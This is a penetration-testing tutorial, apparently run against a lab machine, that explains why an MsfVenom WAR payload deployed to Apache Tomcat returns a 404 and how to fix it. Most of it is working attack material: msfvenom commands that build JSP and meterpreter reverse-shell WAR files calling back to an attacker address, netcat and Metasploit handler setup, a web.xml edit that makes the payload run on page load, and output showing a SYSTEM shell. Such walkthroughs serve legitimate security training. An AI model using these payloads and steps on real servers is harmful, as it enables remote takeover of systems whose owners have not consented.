Why an MsfVenom WAR payload might return a 404


You might have created a payload in a WAR format using MsfVenom, in order to exploit a vulnerability on a server running Apache Tomcat, only to find you get a 404 when navigating to the deployed web application. In this post we'll look at why this happens and how we can successfully run the web application, thereby executing the payload.

This post assumes you have access to the web server and can deploy web applications to Apache Tomcat.

TLDR

The welcome-file declaration is most likely missing from the web.xml file in the WAR archive. Either:

  1. Request the payload page specifically (look inside the WAR archive for the name of the JSP page).

  2. Update the web.xml file to include a welcome-file declaration and re-deploy your modified WAR file.

A working WAR file

Let's take a look at an example of a WAR file that results in a working web application. We'll use the msfvenom command to create a JSP (JavaServer Pages) payload that starts a reverse shell when requested.

$ msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.10.12.54 \
    LPORT=4444 \
    -f war \
    -o jsp_shell.war

Open up the Tomcat Manager App and deploy the jsp_shell.war file. Once that's done we can then open a terminal and use netcat to start listening on port 4444.

$ nc -nlvp 4444
listening on [any] 4444 ...

In another terminal we can use curl to request the jsp_shell web application. Alternatively, you can open the web application in a web browser of your choice.

$ curl -I http://10.10.10.95:8080/jsp_shell/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

If we switch back to netcat we'll see the payload ran successfully and we now have a reverse shell.

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.12.54] from (UNKNOWN) [10.10.10.95] 49240
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

A 'broken' WAR file

Let's now look at a WAR file that when deployed, returns a 404. While this section's heading suggests the WAR file is broken, that's not really the case, it's just missing some information that makes life easier for us.

This time we'll create a staged payload that uses meterpreter to provide a reverse shell.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.12.54 \
    LPORT=5555 \
    -f war \
    -o meterpreter_shell.war

Same as before, we need to deploy this new WAR file. Once that's done, let's try and access the web application.

$ curl -I http://10.10.10.95:8080/meterpreter_shell/
HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1

Unfortunately that didn't work, the server returned a 404. Our web application can't be found and our payload wasn't executed.

What's so different about this WAR file?

Anatomy of a WAR file

Wikipedia states a WAR file "is used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, ... and other resources that together constitute a web application. "

The WAR file itself is just a zip file, which means we can unzip it and inspect the contents. Let's take a look inside the jsp_shell.war file.

$ unzip jsp_shell.war -d jsp_shell
$ cd jsp_shell
$ tree
.
├── kziygtzg.jsp
└── WEB-INF
    └── web.xml

And now let's look inside the meterpreter_shell.war file.

$ unzip meterpreter_shell.war -d meterpreter_shell
$ cd meterpreter_shell
$ tree
.
├── dzkitothloshf.jsp
├── META-INF
│   └── MANIFEST.MF
└── WEB-INF
    └── web.xml

Aside from meterpreter_shell.war containing a META-INF directory, the two archives are pretty much the same. It's worth mentioning that the MANIFEST.MF file only contains the standard manifest header and is not the cause of our issue.

The JSP file in each archive is the payload and we know they aren't causing the 404 because they can't be found.

The interesting file is WEB-INF/web.xml. This file defines the structure of the web application. Let's examine the web.xml file in both archives.

jsp_shell/WEB-INF/web.xml

<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
  <welcome-file-list>
    <welcome-file>kziygtzg.jsp</welcome-file>
  </welcome-file-list>
</web-app>

meterpreter_shell/WEB-INF/web.xml

<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
  <servlet>
    <servlet-name>ajqrbsqdau</servlet-name>
    <jsp-file>/dzkitothloshf.jsp</jsp-file>
  </servlet>
</web-app>

There's a significant difference between these two files. The web application that didn't 404 has a welcome-file-list element whereas the other web application has a servlet element.

Reading about the structure of a web.xml file it's apparent the welcome-file-list element defines default pages to be served by the web server when no specific page is requested. This sounds like the cause of the 404, our meterpreter_shell web application doesn't serve any page by default.

So how do we make a successful request to our meterpreter_shell web application?

Solution 1

One way around this problem is to request the JSP file directly. In order to do this you will need to unpack the WAR file in order to determine the name of the JSP file (which we did above).

Let's try requesting this file directly.

$ curl -I http://10.10.10.95:8080/meterpreter_shell/dzkitothloshf.jsp
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

Great, that worked!

Solution 2

Another solution is to set our payload JSP file as the default page in our web application.

$ cp -r meterpreter_shell meterpreter_shell_welcome
$ cd meterpreter_shell_welcome
$ vim WEB-INF/web.xml

After editing, your web.xml file should now look like the following.

meterpreter_shell/WEB-INF/web.xml

<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
  <servlet>
    <servlet-name>ajqrbsqdau</servlet-name>
    <jsp-file>/dzkitothloshf.jsp</jsp-file>
  </servlet>

  <welcome-file-list>
    <welcome-file>dzkitothloshf.jsp</welcome-file>
  </welcome-file-list>
</web-app>

Now we just need to package our modified web application into a new WAR file.

$ zip -r meterpreter_shell_welcome.war *
adding: meterpreter_shell_welcome/ (stored 0%)
adding: meterpreter_shell_welcome/META-INF/ (stored 0%)
adding: meterpreter_shell_welcome/META-INF/MANIFEST.MF (stored 0%)
adding: meterpreter_shell_welcome/dzkitothloshf.jsp (deflated 90%)
adding: meterpreter_shell_welcome/WEB-INF/ (stored 0%)
adding: meterpreter_shell_welcome/WEB-INF/web.xml (deflated 39%)

Then undeploy the existing meterpreter_shell web application and deploy this new version.

Let's jump into metasploit and test this out properly.

$ metasploit
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) >
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf5 exploit(multi/handler) > set LHOST 10.10.12.54
LHOST => 10.10.12.54
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.12.54:5555

Then we make a HTTP request to our payload.

$ curl -I http://10.10.10.95:8080/meterpreter_shell_welcome/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

We no longer receive a 404! Let's check metasploit and see if we obtained a shell.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.12.54:5555
[*] Sending stage (201283 bytes) to 10.10.10.95
[*] Meterpreter session 1 opened
    (10.10.12.54:5555 -> 10.10.10.95:49238)
    at 2020-06-26 10:01:30 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

As you can see, the payload executed successfully and we were given a meterpreter shell.